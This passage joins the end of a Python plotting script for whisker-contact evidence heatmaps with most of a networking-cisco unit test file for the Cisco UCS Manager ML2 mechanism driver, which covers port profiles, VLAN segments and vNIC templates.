just avoids warnings about null in normalizing masked_edge_data = np.ma.masked_array( edge_data, np.isnan(edge_data)) ## Normalize and blend plot extras.normalize_and_blend_plot( masked_edge_data, evidence_data, edge_alpha=edge_alpha, ax=ax, evidence_vmin=evidence_vmin, evidence_vmax=evidence_vmax, x_index=all_ces.columns.values, y_index=all_ces.index.values, ) ## Pretty # Plot follicle and ellipses extras.plot_follicle_and_ellipses(ax, transformed_mean_follicle) # Limits extras.consistent_limits(ax) ## Save f.savefig('PLOT_EVIDENCE_DISCONLY_REWSIDEONLY.svg') f.savefig('PLOT_EVIDENCE_DISCONLY_REWSIDEONLY.png', dpi=300) if PLOT_EVIDENCE_DISCONLY_CHOICEONLY: ## Parameters # Metric to plot metric_topl = 'choice_evidence' # Iterate over whisk type (rows of figure) whisk_typ_l = ['yes', 'non'] # Do only discrimination task = 'discrimination' # Binning mouse_thresh = 4 nwpt_thresh = .02 # Plotting edge_alpha = .3 evidence_vmin = -.5 evidence_vmax = .5 ## Aggregrate # Slice by task and group by whisk type figure_gobj = aggregated_evidence_spatial.xs( task, level='task').groupby( 'contact_typ') ## Make handles f, axa = plt.subplots( len(whisk_typ_l), 1, figsize=(4.25, 6.5), sharex=True, sharey=True) f.subplots_adjust(left=0, right=.7, bottom=0, top=.925, hspace=.3) # Axis for colorbar cb_ax = f.add_axes((.77, .27, .03, .4)) cb = f.colorbar( matplotlib.cm.ScalarMappable( matplotlib.colors.Normalize(vmin=evidence_vmin, vmax=evidence_vmax), cmap=plt.cm.RdBu_r), cax=cb_ax) cb.set_ticks((evidence_vmin, 0, evidence_vmax)) cb.ax.tick_params(labelsize=12) ## Iterate over whisk types (rows) for whisk_typ, sub_ae in figure_gobj: ## Slice # Droplevel sub_ae = sub_ae.droplevel('contact_typ') # Slice data (evidence) axis_data = sub_ae[metric_topl] # Get ax ax = axa[ whisk_typ_l.index(whisk_typ) ] # Set title if whisk_typ == 'yes': ax.set_title('whisks with contact\n(evidence)') elif whisk_typ == 'non': ax.set_title('whisks without contact\n(evidence)') ## Identify spatial bins with enough whisks to be worth plotting keep_mask = extras.threshold_bins_by_n_whisks( sub_ae, mouse_thresh=mouse_thresh, nwpt_thresh=nwpt_thresh) ## Spatialize evidence evidence_data = extras.spatialize_evidence( axis_data, keep_mask, full_spatial_bincenter_midx, bins_x, bins_y, x_index=all_ces.columns, y_index=all_ces.index, ) # Use only raw data evidence_data = evidence_data.values ## Calculate edge_data edge_data = all_ces.values # Mask the edge_data, so that it has no effect where it is null # Actually, this just avoids warnings about null in normalizing masked_edge_data = np.ma.masked_array( edge_data, np.isnan(edge_data)) ## Normalize and blend plot extras.normalize_and_blend_plot( masked_edge_data, evidence_data, edge_alpha=edge_alpha, ax=ax, evidence_vmin=evidence_vmin, evidence_vmax=evidence_vmax, x_index=all_ces.columns.values, y_index=all_ces.index.values, ) ## Pretty # Plot follicle and ellipses extras.plot_follicle_and_ellipses(ax, transformed_mean_follicle) # Limits extras.consistent_limits(ax) ## Save f.savefig('PLOT_EVIDENCE_DISCONLY_CHOICEONLY.svg') f.savefig('PLOT_EVIDENCE_DISCONLY_CHOICEONLY.png', dpi=300) plt.show()

31.338603

106

0.68616

4a07d9cf9dc8c2e7f0d63fb5fbeb352e3eda6e73

50,208

py

Python

networking_cisco/tests/unit/ml2/drivers/cisco/ucsm/test_cisco_ucsm_driver.py

Tehsmash/networking-cisco

fdbd79a832fe090f3c4c7bd7a4f0ec0c349d4d16

[ "Apache-2.0" ]

null

networking_cisco/tests/unit/ml2/drivers/cisco/ucsm/test_cisco_ucsm_driver.py

Tehsmash/networking-cisco

fdbd79a832fe090f3c4c7bd7a4f0ec0c349d4d16

[ "Apache-2.0" ]

null

networking_cisco/tests/unit/ml2/drivers/cisco/ucsm/test_cisco_ucsm_driver.py

Tehsmash/networking-cisco

fdbd79a832fe090f3c4c7bd7a4f0ec0c349d4d16

[ "Apache-2.0" ]

null

# Copyright 2015 Cisco Systems, Inc. # All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import mock from oslo_config import cfg from neutron.tests.unit import testlib_api from networking_cisco.backwards_compatibility import ml2_api as api from networking_cisco import backwards_compatibility as bc from networking_cisco.plugins.ml2.drivers.cisco.ucsm import ( mech_cisco_ucsm as md) from networking_cisco.plugins.ml2.drivers.cisco.ucsm import config as conf from networking_cisco.plugins.ml2.drivers.cisco.ucsm import constants as const from networking_cisco.plugins.ml2.drivers.cisco.ucsm import exceptions from networking_cisco.plugins.ml2.drivers.cisco.ucsm import ucsm_db from networking_cisco.plugins.ml2.drivers.cisco.ucsm import ucsm_network_driver from networking_cisco.tests.unit.ml2.drivers.cisco.ucsm import ( test_cisco_ucsm_common as mocked) UCSM_IP_ADDRESS_1 = '1.1.1.1' UCSM_IP_ADDRESS_2 = '2.2.2.2' VNIC_NORMAL = 'normal' VNIC_DIRECT = 'direct' VNIC_MACVTAP = 'macvtap' VNIC_TYPES = [VNIC_NORMAL, VNIC_DIRECT, VNIC_MACVTAP] SRIOV_VNIC_TYPES = [VNIC_DIRECT, VNIC_MACVTAP] SUPPORTED_PCI_DEVS = ["1137:0071", "8086:10c9"] NETWORK_ID_1 = 1001 NETWORK_NAME = 'test-network' VLAN_ID_1 = 100 VLAN_ID_2 = 101 PORT_STATE_ACTIVE = bc.constants.PORT_STATUS_ACTIVE NETWORK_TYPE = 'vlan' NETWORK_ID = 'test-network' PORT_NAME = 'port1' PORT_NAME2 = 'port2' PORT_ID = '100001' PORT_ID2 = '100002' HOST1 = 'Hostname1' HOST2 = 'Hostname2' PCI_INFO_BAD_NIC = '1111:2222' PCI_INFO_INVALID = '1111' UCSM_DRIVER = ('neutron.plugins.ml2.drivers.cisco.ucsm.' 'ucsm_network_driver.CiscoUcsmDriver') VLAN_SEGMENT = {api.ID: 'vlan_segment_id', api.NETWORK_TYPE: 'vlan', api.PHYSICAL_NETWORK: 'test_physnet', api.SEGMENTATION_ID: VLAN_ID_1} VXLAN_SEGMENT = {api.ID: 'vlan_segment_id', api.NETWORK_TYPE: 'vxlan', api.PHYSICAL_NETWORK: 'test_physnet', api.SEGMENTATION_ID: VLAN_ID_1} VLAN_SEGMENTS_BAD = {api.ID: 'vlan_segment_id', api.NETWORK_TYPE: 'vlan', api.PHYSICAL_NETWORK: 'fake_physnet', api.SEGMENTATION_ID: VLAN_ID_2} VLAN_SEGMENTS_GOOD = [{api.ID: 'vlan_segment_id', api.NETWORK_TYPE: 'vlan', api.PHYSICAL_NETWORK: 'test_physnet', api.SEGMENTATION_ID: VLAN_ID_2}] UCSM_HOST_DICT = {HOST1: UCSM_IP_ADDRESS_1, HOST2: UCSM_IP_ADDRESS_2} PORT_PROFILE_1 = 'OS-PP-100' class FakeNetworkContext(api.NetworkContext): """Network context for testing purposes only.""" def __init__(self, segments): self._network_segments = segments @property def current(self): return {'id': NETWORK_ID_1, 'name': NETWORK_NAME} @property def original(self): return None @property def network_segments(self): return self._network_segments class FakePortContext(object): """Port context for testing purposes only.""" def __init__(self, name, port_id, vnic_type, profile, network_context): self._port = { 'status': None, 'id': port_id, 'name': name, # set for _is_supported_deviceowner() to return True 'device_owner': bc.constants.DEVICE_OWNER_DHCP, bc.portbindings.HOST_ID: HOST1, bc.portbindings.VNIC_TYPE: vnic_type, bc.portbindings.PROFILE: profile } self._network = network_context self._segment = network_context.network_segments[0] self.session = bc.get_writer_session() @property def current(self): return self._port @property def original(self): return None @property def network(self): return self._network @property def segment(self): return self._segment @property def bottom_bound_segment(self): return self._segment def set_binding(self, segment_id, vif_type, vif_details, status=None): self._bound_segment_id = segment_id self._bound_vif_type = vif_type self._bound_vif_details = vif_details self._port['status'] = status class FakeServiceProfile(object): """Fake Service Profile class for testing only.""" def __init__(self, service_profile): self.sp = service_profile self.pn_dn = 'org-root/ls-' self.dn = 'org-root' self.oper_src_templ_name = ( self.pn_dn + self.dn) self.pn_dn = self.pn_dn + self.sp def __iter__(self): return self def __next__(self): return self def next(self): return self.__next__() class FakeServer(object): def __init__(self, server): self.name = server class FakeUcsmHandle(object): """Ucsm connection handle for testing purposes only.""" def __init__(self, port_profile=None, query_dn=None, invalid_classid=None): self._port_profile = port_profile self._query_dn = query_dn self._invalid_classid = invalid_classid self._times_called = 0 self.sp_list = ['org-root/ls-SP1'] self.sp_list_temp = [] def query_dn(self, dn): self._times_called += 1 if self._invalid_classid: return FakeServer('nope') elif self._query_dn: return self._query_dn elif dn == 'org-root/ls-SP1': return FakeServer(HOST1) elif self._times_called == 1: return None elif self._times_called == 2: raise Exception("Port profile still in use by VMs.") else: return self._port_profile def query_classid(self, class_id): if self._invalid_classid: self.sp_list_temp = [FakeServiceProfile('nope'), FakeServiceProfile('nope')] else: self.sp_list_temp = [FakeServiceProfile('SP1'), FakeServiceProfile('SP2')] return self.sp_list_temp def remove_mo(self, p_profile): self._port_profile = None def commit(self): return def logout(self): return class TestCiscoUcsmMechDriver(testlib_api.SqlTestCase, mocked.ConfigMixin): """Unit tests for Cisco ML2 UCS Manager MD.""" def setUp(self): """Sets up mock Ucs Sdk.""" super(TestCiscoUcsmMechDriver, self).setUp() self.set_up_mocks() def new_ucsm_driver_init(mech_instance): mech_instance.ucsmsdk = None mech_instance.handles = {} mech_instance.supported_sriov_vnic_types = SRIOV_VNIC_TYPES mech_instance.supported_pci_devs = SUPPORTED_PCI_DEVS mech_instance.ucsm_host_dict = UCSM_HOST_DICT mech_instance.ucsm_conf = conf.UcsmConfig() mock.patch.object(ucsm_network_driver.CiscoUcsmDriver, '__init__', new=new_ucsm_driver_init).start() self.mech_driver = md.CiscoUcsmMechanismDriver() self.mech_driver.initialize() self.vif_type = const.VIF_TYPE_802_QBH self.db = ucsm_db.UcsmDbModel() self.ucsm_driver = ucsm_network_driver.CiscoUcsmDriver() self.ucsm_driver.ucsm_db = ucsm_db.UcsmDbModel() self.ucsm_config = conf.UcsmConfig() def _create_network_context(self): segment = {api.SEGMENTATION_ID: "", api.NETWORK_TYPE: "", } segment[api.SEGMENTATION_ID] = VLAN_ID_1 segment[api.NETWORK_TYPE] = 'vlan' network_context = FakeNetworkContext([VLAN_SEGMENT]) return network_context def _create_port_context_vmfex(self): """Creates port context with valid VM-FEX vendor info.""" name = PORT_NAME port_id = PORT_ID vnic_type = VNIC_DIRECT profile = {'pci_vendor_info': const.PCI_INFO_CISCO_VIC_1240} network_context = FakeNetworkContext([VLAN_SEGMENT]) port_context = FakePortContext(name, port_id, vnic_type, profile, network_context) return port_context def _create_port_context_bad(self): """Creates port context with badly formed vendor info.""" name = PORT_NAME port_id = PORT_ID vnic_type = VNIC_DIRECT profile = {'pci_vendor_info': PCI_INFO_BAD_NIC} network_context = FakeNetworkContext([VLAN_SEGMENT]) port_context = FakePortContext(name, port_id, vnic_type, profile, network_context) return port_context def _create_port_context_sriov(self): """Creates port context with valid SR-IOV vendor info.""" name = PORT_NAME port_id = PORT_ID vnic_type = VNIC_MACVTAP profile = {'pci_vendor_info': const.PCI_INFO_INTEL_82599} network_context = FakeNetworkContext([VLAN_SEGMENT]) port_context = FakePortContext(name, port_id, vnic_type, profile, network_context) return port_context def _create_port_context_normal(self): """Creates port context with Normal vnic type.""" name = PORT_NAME port_id = PORT_ID vnic_type = VNIC_NORMAL profile = {'pci_vendor_info': const.PCI_INFO_CISCO_VIC_1240} network_context = FakeNetworkContext([VLAN_SEGMENT]) port_context = FakePortContext(name, port_id, vnic_type, profile, network_context) return port_context def test_parse_pci_vendor_config(self): """Verifies parsing of both good and bad pci vendor config.""" vendor1 = PCI_INFO_INVALID vendor2 = const.PCI_INFO_INTEL_82599 self.assertNotIn(vendor1, self.ucsm_driver.supported_pci_devs) self.assertIn(vendor2, self.ucsm_driver.supported_pci_devs) def test_port_supported_deviceowner(self): """Verifies detection of supported set of device owners for ports.""" port_context = self._create_port_context_normal() port = port_context._port supported_owners = [bc.constants.DEVICE_OWNER_ROUTER_HA_INTF, bc.constants.DEVICE_OWNER_DHCP, 'compute:nova'] for owner in supported_owners: port['device_owner'] = owner self.assertTrue(self.mech_driver._is_supported_deviceowner(port)) def test_port_unsupported_deviceowner(self): """Verifies detection of unsupported device owners for ports.""" port_context = self._create_port_context_normal() port = port_context._port unsupported_owners = [bc.constants.DEVICE_OWNER_ROUTER_INTF, bc.constants.DEVICE_OWNER_ROUTER_GW, bc.constants.DEVICE_OWNER_FLOATINGIP, bc.constants.DEVICE_OWNER_ROUTER_SNAT, bc.constants.DEVICE_OWNER_LOADBALANCER, bc.constants.DEVICE_OWNER_LOADBALANCERV2, 'controller:foobar'] for owner in unsupported_owners: port['device_owner'] = owner self.assertFalse(self.mech_driver._is_supported_deviceowner(port)) def test_port_supported_status(self): """Verifies detection of supported status values for ports.""" port_context = self._create_port_context_normal() port = port_context._port port['status'] = bc.constants.PORT_STATUS_ACTIVE self.assertTrue(self.mech_driver._is_status_active(port)) def test_port_unsupported_status(self): """Verifies detection of unsupported status values for ports.""" port_context = self._create_port_context_normal() port = port_context._port unsupported_states = [bc.constants.PORT_STATUS_BUILD, bc.constants.PORT_STATUS_DOWN, bc.constants.PORT_STATUS_ERROR, bc.constants.PORT_STATUS_NOTAPPLICABLE] for state in unsupported_states: port['status'] = state self.assertFalse(self.mech_driver._is_status_active(port)) def test_vmfex_vnic_type_and_vendor_info(self): """Verifies VM-FEX port is recognized as a supported vendor.""" port_context = self._create_port_context_vmfex() vnic_type = port_context.current.get(bc.portbindings.VNIC_TYPE, bc.portbindings.VNIC_NORMAL) profile = port_context.current.get(bc.portbindings.PROFILE, {}) supported = self.ucsm_driver.check_vnic_type_and_vendor_info( vnic_type, profile) self.assertTrue(supported) def test_unsupported_vnic_type_and_vendor_info(self): """Verifies unsupported pci vendor is rejected.""" port_context = self._create_port_context_bad() vnic_type = port_context.current.get(bc.portbindings.VNIC_TYPE, bc.portbindings.VNIC_NORMAL) profile = port_context.current.get(bc.portbindings.PROFILE, {}) supported = self.ucsm_driver.check_vnic_type_and_vendor_info( vnic_type, profile) self.assertFalse(supported) def test_sriov_vnic_type_and_vendor_info(self): """Verifies SR-IOV port and MACVTAP vnic_type are supported.""" port_context = self._create_port_context_sriov() vnic_type = port_context.current.get(bc.portbindings.VNIC_TYPE, bc.portbindings.VNIC_NORMAL) profile = port_context.current.get(bc.portbindings.PROFILE, {}) supported = self.ucsm_driver.check_vnic_type_and_vendor_info( vnic_type, profile) self.assertTrue(supported) def test_normal_vnic_type(self): """Verifies NORMAL vnic type is not supported.""" port_context = self._create_port_context_normal() vnic_type = port_context.current.get(bc.portbindings.VNIC_TYPE, bc.portbindings.VNIC_NORMAL) profile = port_context.current.get(bc.portbindings.PROFILE, {}) supported = self.ucsm_driver.check_vnic_type_and_vendor_info( vnic_type, profile) self.assertFalse(supported) def test_validate_vm_fex_port_cisco(self): """Verifies port's pci vendor info makes it VM-FEX capable.""" port_context = self._create_port_context_vmfex() profile = port_context.current.get(bc.portbindings.PROFILE, {}) valid = self.ucsm_driver.is_vmfex_port(profile) self.assertTrue(valid) def test_validate_vm_fex_port_bad(self): """Verifies unsupported pci vendor is not VM-FEX capable.""" port_context = self._create_port_context_bad() profile = port_context.current.get(bc.portbindings.PROFILE, {}) valid = self.ucsm_driver.is_vmfex_port(profile) self.assertFalse(valid) def test_validate_vm_fex_port_sriov(self): """Verifies valid SR-IOV port is not VM-FEX capable.""" port_context = self._create_port_context_sriov() profile = port_context.current.get(bc.portbindings.PROFILE, {}) valid = self.ucsm_driver.is_vmfex_port(profile) # For ex: Intel PCI is supported but is not vm-fex. # so, should return False self.assertFalse(valid) def test_check_segment_vlan(self): """Verifies VLAN network segments are supported.""" self.assertTrue(self.mech_driver.check_segment(VLAN_SEGMENT)) def test_check_segment_vxlan(self): """Verifies VXLAN network segments are not supported.""" self.assertFalse(self.mech_driver.check_segment(VXLAN_SEGMENT)) def test_vmfex_update_port_precommit(self): """Verifies MD saves relevant info for VM-FEX ports into DB.""" name = PORT_NAME2 port_id = PORT_ID vnic_type = VNIC_DIRECT profile = {'pci_vendor_info': const.PCI_INFO_CISCO_VIC_1240} profile_name = "OS-PP-100" network_context = self._create_network_context() port_context = FakePortContext(name, port_id, vnic_type, profile, network_context) # Port Profile name and Vlan id are written to DB. self.mech_driver.update_port_precommit(port_context) # Look for presence of above entry in the DB. p_profile = self.db.get_port_profile_for_vlan(VLAN_ID_1, UCSM_IP_ADDRESS_1) self.assertEqual(profile_name, p_profile) # Look to see if flag is set for update_port_postcommit to # create Port Profile on UCS Manager. self.assertFalse(self.db.is_port_profile_created(VLAN_ID_1, UCSM_IP_ADDRESS_1)) def test_sriov_update_port_precommit(self): """Verifies MD does not create Port Profiles for SR-IOV ports.""" port_context = self._create_port_context_sriov() self.mech_driver.update_port_precommit(port_context) p_profile = self.db.get_port_profile_for_vlan(VLAN_ID_1, UCSM_IP_ADDRESS_1) self.assertIsNone(p_profile) def test_get_physnet(self): expected_physnet = 'test_physnet' port_context = self._create_port_context_normal() physnet = self.mech_driver._get_physnet(port_context) self.assertEqual(expected_physnet, physnet) def test_virtio_update_port_precommit(self): """Verifies MD adds VNIC Template to DB for Neutron virtio ports.""" TEST_VNIC_TEMPLATE = 'Test-VNIC' TEST_PHYSNET = 'test_physnet' port_context = self._create_port_context_normal() def new_vnic_template_test(object): return True mock.patch.object(conf.UcsmConfig, 'is_vnic_template_configured', new=new_vnic_template_test).start() def new_get_vnic_template_for_physnet(object, ucsm_ip, physnet): return ('org-root', 'Test-VNIC') mock.patch.object(conf.UcsmConfig, 'get_vnic_template_for_physnet', new=new_get_vnic_template_for_physnet).start() vnic_template_path, vnic_template = ( self.ucsm_config.get_vnic_template_for_physnet( UCSM_IP_ADDRESS_1, TEST_PHYSNET)) self.assertEqual(TEST_VNIC_TEMPLATE, vnic_template) self.mech_driver.update_port_precommit(port_context) db_entry = self.db.get_vnic_template_vlan_entry(VLAN_ID_1, TEST_VNIC_TEMPLATE, UCSM_IP_ADDRESS_1, TEST_PHYSNET) self.assertIsNotNone(db_entry) self.assertEqual(VLAN_ID_1, db_entry.vlan_id) @mock.patch.object(ucsm_db.UcsmDbModel, 'delete_sp_template_for_vlan') @mock.patch.object(ucsm_db.UcsmDbModel, 'delete_vnic_template_for_vlan') @mock.patch.object(ucsm_db.UcsmDbModel, 'delete_vlan_entry') def test_delete_network_precommit_no_segments( self, mock_delete_vlan_entry, mock_delete_vnic, mock_delete_sp_template): self.mech_driver.delete_network_precommit(FakeNetworkContext([])) self.assertFalse(mock_delete_vlan_entry.called) self.assertFalse(mock_delete_vnic.called) self.assertFalse(mock_delete_sp_template.called) @mock.patch.object(ucsm_db.UcsmDbModel, 'delete_sp_template_for_vlan') @mock.patch.object(ucsm_db.UcsmDbModel, 'delete_vnic_template_for_vlan') @mock.patch.object(ucsm_db.UcsmDbModel, 'delete_vlan_entry') def test_delete_network_precommit_vlan_segment( self, mock_delete_vlan_entry, mock_delete_vnic, mock_delete_sp_template): network_context = self._create_network_context() vlan_id = network_context.network_segments[0]['segmentation_id'] self.mech_driver.delete_network_precommit(network_context) mock_delete_vlan_entry.assert_called_once_with(vlan_id) mock_delete_vnic.assert_called_once_with(vlan_id) self.assertFalse(mock_delete_sp_template.called) def test_update_port_postcommit_success(self): """Verifies duplicate Port Profiles are not being created.""" name = PORT_NAME port_id = PORT_ID vnic_type = VNIC_DIRECT profile = {'pci_vendor_info': const.PCI_INFO_CISCO_VIC_1240} network_context = self._create_network_context() port_context = FakePortContext(name, port_id, vnic_type, profile, network_context) self.mech_driver.bind_port(port_context) # Port Profile is added to DB and created on UCS Manager. self.mech_driver.update_port_precommit(port_context) self.assertFalse(self.db.is_port_profile_created(VLAN_ID_1, UCSM_IP_ADDRESS_1)) # Call to UCS Manager driver top level method to create Port Profile # is mocked to a new method here. This method verifies input params # are correct. def new_create_portprofile(mech_context, profile_name, vlan_id, vnic_type, ucsm_ip, trunk_vlans): return True mock.patch.object(ucsm_network_driver.CiscoUcsmDriver, 'create_portprofile', new=new_create_portprofile).start() self.mech_driver.update_port_postcommit(port_context) self.assertTrue(self.db.is_port_profile_created(VLAN_ID_1, UCSM_IP_ADDRESS_1)) def test_update_port_postcommit_failure(self): """Verifies duplicate Port Profiles are not being created.""" name = PORT_NAME port_id = PORT_ID vnic_type = VNIC_DIRECT profile = {'pci_vendor_info': const.PCI_INFO_CISCO_VIC_1240} network_context = self._create_network_context() port_context = FakePortContext(name, port_id, vnic_type, profile, network_context) self.mech_driver.bind_port(port_context) # Port Profile is added to DB and created on UCS Manager. self.mech_driver.update_port_precommit(port_context) self.assertFalse(self.db.is_port_profile_created(VLAN_ID_1, UCSM_IP_ADDRESS_1)) # Call to UCS Manager driver top level method to create Port Profile # is mocked to a new method here. This method verifies input params # are correct. def new_create_portprofile(mech_context, profile_name, vlan_id, vnic_type, ucsm_ip, trunk_vlans): return False mock.patch.object(ucsm_network_driver.CiscoUcsmDriver, 'create_portprofile', new=new_create_portprofile).start() self.mech_driver.update_port_postcommit(port_context) self.assertFalse(self.db.is_port_profile_created(VLAN_ID_1, UCSM_IP_ADDRESS_1)) def test_update_port_postcommit_direct(self): """Verifies UCS Manager driver is called with correct parameters.""" name = PORT_NAME port_id = PORT_ID vnic_direct = VNIC_DIRECT profile = {'pci_vendor_info': const.PCI_INFO_CISCO_VIC_1240} network_context = self._create_network_context() port_context = FakePortContext(name, port_id, vnic_direct, profile, network_context) self.mech_driver.bind_port(port_context) self.mech_driver.update_port_precommit(port_context) # Call to UCS Manager driver top level method to create Port Profile # is mocked to a new method here. This method verifies input params # are correct. def new_create_portprofile(mech_context, profile_name, vlan_id, vnic_type, ucsm_ip, trunk_vlans): self.assertEqual("OS-PP-100", profile_name) self.assertEqual(100, vlan_id) self.assertEqual(VNIC_DIRECT, vnic_type) mock.patch.object(ucsm_network_driver.CiscoUcsmDriver, 'create_portprofile', new=new_create_portprofile).start() self.mech_driver.update_port_postcommit(port_context) def test_update_port_postcommit_macvtap(self): """Verifies UCS Manager driver is called with correct parameters.""" name = PORT_NAME port_id = PORT_ID vnic_macvtap = VNIC_MACVTAP profile = {'pci_vendor_info': const.PCI_INFO_CISCO_VIC_1240} network_context = self._create_network_context() port_context = FakePortContext(name, port_id, vnic_macvtap, profile, network_context) self.mech_driver.bind_port(port_context) self.mech_driver.update_port_precommit(port_context) # Call to UCS Manager driver top level method to create Port Profile # is mocked to a new method here. This method verifies input params # are correct. def new_create_portprofile(mech_context, profile_name, vlan_id, vnic_type, ucsm_ip, trunk_vlans): self.assertEqual("OS-PP-100", profile_name) self.assertEqual(100, vlan_id) self.assertEqual(VNIC_MACVTAP, vnic_type) mock.patch.object(ucsm_network_driver.CiscoUcsmDriver, 'create_portprofile', new=new_create_portprofile).start() self.mech_driver.update_port_postcommit(port_context) def test_update_port_postcommit_normal(self): """Verifies UCS Manager driver is called with correct parameters.""" name = PORT_NAME port_id = PORT_ID vnic_type = VNIC_NORMAL profile = {'pci_vendor_info': const.PCI_INFO_CISCO_VIC_1240} network_context = self._create_network_context() port_context = FakePortContext(name, port_id, vnic_type, profile, network_context) self.mech_driver.bind_port(port_context) self.mech_driver.update_port_precommit(port_context) # Call to UCS Manager driver top level method to create Port Profile # is mocked to a new method here. This method verifies input params # are correct. def new_update_serviceprofile(mech_context, host_id, vlan_id): return True mock.patch.object(ucsm_network_driver.CiscoUcsmDriver, 'update_serviceprofile', new=new_update_serviceprofile).start() self.mech_driver.update_port_postcommit(port_context) def test_vnic_template_db_methods(self): """Verifies VNIC Template DB methods.""" TEST_VNIC_TEMPLATE_1 = 'Test-VNIC1' TEST_VNIC_TEMPLATE_2 = 'Test-VNIC2' TEST_PHYSNET_1 = 'test_physnet1' TEST_PHYSNET_2 = 'test_physnet2' self.db.add_vnic_template(VLAN_ID_1, UCSM_IP_ADDRESS_1, TEST_VNIC_TEMPLATE_1, TEST_PHYSNET_1) self.db.add_vnic_template(VLAN_ID_2, UCSM_IP_ADDRESS_2, TEST_VNIC_TEMPLATE_2, TEST_PHYSNET_2) db_entry1 = self.db.get_vnic_template_vlan_entry(VLAN_ID_1, TEST_VNIC_TEMPLATE_1, UCSM_IP_ADDRESS_1, TEST_PHYSNET_1) self.assertIsNotNone(db_entry1) self.assertEqual(VLAN_ID_1, db_entry1.vlan_id) self.assertFalse(db_entry1.updated_on_ucs) self.db.set_vnic_template_updated(VLAN_ID_2, UCSM_IP_ADDRESS_2, TEST_VNIC_TEMPLATE_2, TEST_PHYSNET_2) db_entry2 = self.db.get_vnic_template_vlan_entry(VLAN_ID_2, TEST_VNIC_TEMPLATE_2, UCSM_IP_ADDRESS_2, TEST_PHYSNET_2) self.assertIsNotNone(db_entry2) self.assertEqual(VLAN_ID_2, db_entry2.vlan_id) self.assertTrue(db_entry2.updated_on_ucs) self.db.delete_vnic_template_for_vlan(VLAN_ID_2) db_entry3 = self.db.get_vnic_template_vlan_entry(VLAN_ID_2, TEST_VNIC_TEMPLATE_2, UCSM_IP_ADDRESS_2, TEST_PHYSNET_2) self.assertIsNone(db_entry3) def test_update_port_postcommit_vnic_template(self): """Verifies UCSM driver works correcly with VNIC Templates.""" TEST_VNIC_TEMPLATE = 'Test-VNIC' TEST_PHYSNET = 'test_physnet' port_context = self._create_port_context_normal() self.ucsm_driver.ucsm_host_dict = UCSM_HOST_DICT self.mech_driver.bind_port(port_context) def new_vnic_template_test(object): return True mock.patch.object(conf.UcsmConfig, 'is_vnic_template_configured', new=new_vnic_template_test).start() physnet = self.mech_driver._get_physnet(port_context) self.assertEqual(TEST_PHYSNET, physnet) def new_get_vnic_template_for_physnet(object, ucsm_ip, physnet): return ('org-root', 'Test-VNIC') mock.patch.object(conf.UcsmConfig, 'get_vnic_template_for_physnet', new=new_get_vnic_template_for_physnet).start() vnic_template_path, vnic_template = ( self.ucsm_config.get_vnic_template_for_physnet( UCSM_IP_ADDRESS_1, TEST_PHYSNET)) self.assertIsNotNone(vnic_template) self.assertEqual(TEST_VNIC_TEMPLATE, vnic_template) self.mech_driver.update_port_precommit(port_context) def new_update_vnic_template(mech_context, host_id, vlan_id, physnet, vnic_template_path, vnic_template): return True mock.patch.object(ucsm_network_driver.CiscoUcsmDriver, 'update_vnic_template', new=new_update_vnic_template).start() ucsm_ip = self.ucsm_driver.get_ucsm_ip_for_host(HOST1) self.assertEqual(UCSM_IP_ADDRESS_1, ucsm_ip) self.mech_driver.update_port_postcommit(port_context) db_entry = self.db.get_vnic_template_vlan_entry(VLAN_ID_1, vnic_template, UCSM_IP_ADDRESS_1, TEST_PHYSNET) self.assertIsNotNone(db_entry) self.assertEqual(UCSM_IP_ADDRESS_1, db_entry.device_id) def test_bind_port_active(self): """Verifies bind_port sets the port status as active.""" name = PORT_NAME port_id = PORT_ID vnic_type = VNIC_DIRECT profile = {'pci_vendor_info': const.PCI_INFO_CISCO_VIC_1240} network_context = FakeNetworkContext(VLAN_SEGMENTS_GOOD) port_context = FakePortContext(name, port_id, vnic_type, profile, network_context) self.mech_driver.bind_port(port_context) self.assertEqual(PORT_STATE_ACTIVE, port_context._port['status']) def test_ucs_manager_disconnect_fail(self): """Verifies UCS Manager driver is called with correct parameters.""" handle = None ucsm_ip = UCSM_IP_ADDRESS_2 self.assertRaises(exceptions.UcsmDisconnectFailed, self.ucsm_driver.ucs_manager_disconnect, handle, ucsm_ip) def test_generic_create_profile(self): """Test to verify duplicate creation exceptions. This is a generic test to mimic the behavior of any UCS Manager driver function that creates a profile on the UCS Manager. The first time the profile is created, the create succeeds if all parameters are correct. If we attempt to create it any number of times after that, UCS Manager throws an exception. This test code mimics that behavior by using counter to keep track of how many times 'update_serviceprofile' is being called. counter == 0 -> Simulates invalid input, so raise an exception. counter == 1 -> Simulates valid inputs and 1st creation request. counter > 1 -> Simulates duplicate creation request and results in UCS Manager throwing a duplicate creation request. """ def static_vars(**kwargs): def decorate(func): for k in kwargs: setattr(func, k, kwargs[k]) return func return decorate @static_vars(counter=-1) def new_create_ucsm_profile(mech_context, host_id, vlan_id): new_create_ucsm_profile.counter += 1 try: if new_create_ucsm_profile.counter == 0: raise Exception("Invalid Operation") elif new_create_ucsm_profile.counter > 1: raise Exception(const.DUPLICATE_EXCEPTION) else: return True except Exception as e: if const.DUPLICATE_EXCEPTION in str(e): return True else: raise exceptions.UcsmConfigFailed(config=vlan_id, ucsm_ip=UCSM_IP_ADDRESS_1, exc=e) mock.patch.object(ucsm_network_driver.CiscoUcsmDriver, 'update_serviceprofile', new=new_create_ucsm_profile).start() # Results in new_create_ucsm_profile being called with counter=-1 self.assertRaises(exceptions.UcsmConfigFailed, self.ucsm_driver.update_serviceprofile, HOST1, VLAN_ID_1) # Results in new_create_ucsm_profile being called with counter=0 self.assertTrue(self.ucsm_driver.update_serviceprofile( HOST1, VLAN_ID_1)) # Results in new_create_ucsm_profile being called with counter=1 self.assertTrue(self.ucsm_driver.update_serviceprofile( HOST1, VLAN_ID_1)) def test_parse_ucsm_host_config(self): """Verifies parsing of Hostname:Service Profile config.""" ucsm_sp_dict = {} ucsm_host_dict = {} cfg.CONF.ml2_cisco_ucsm.ucsm_host_list = {'Host1': 'SP1', 'Host2': 'SP2'} cfg.CONF.ml2_cisco_ucsm.ucsm_ip = '1.1.1.1' expected_ip = '1.1.1.1' expected_sp1 = "org-root/ls-SP1" expected_sp2 = "org-root/ls-SP2" ucsm_sp_dict = self.ucsm_config.ucsm_sp_dict ucsm_host_dict = 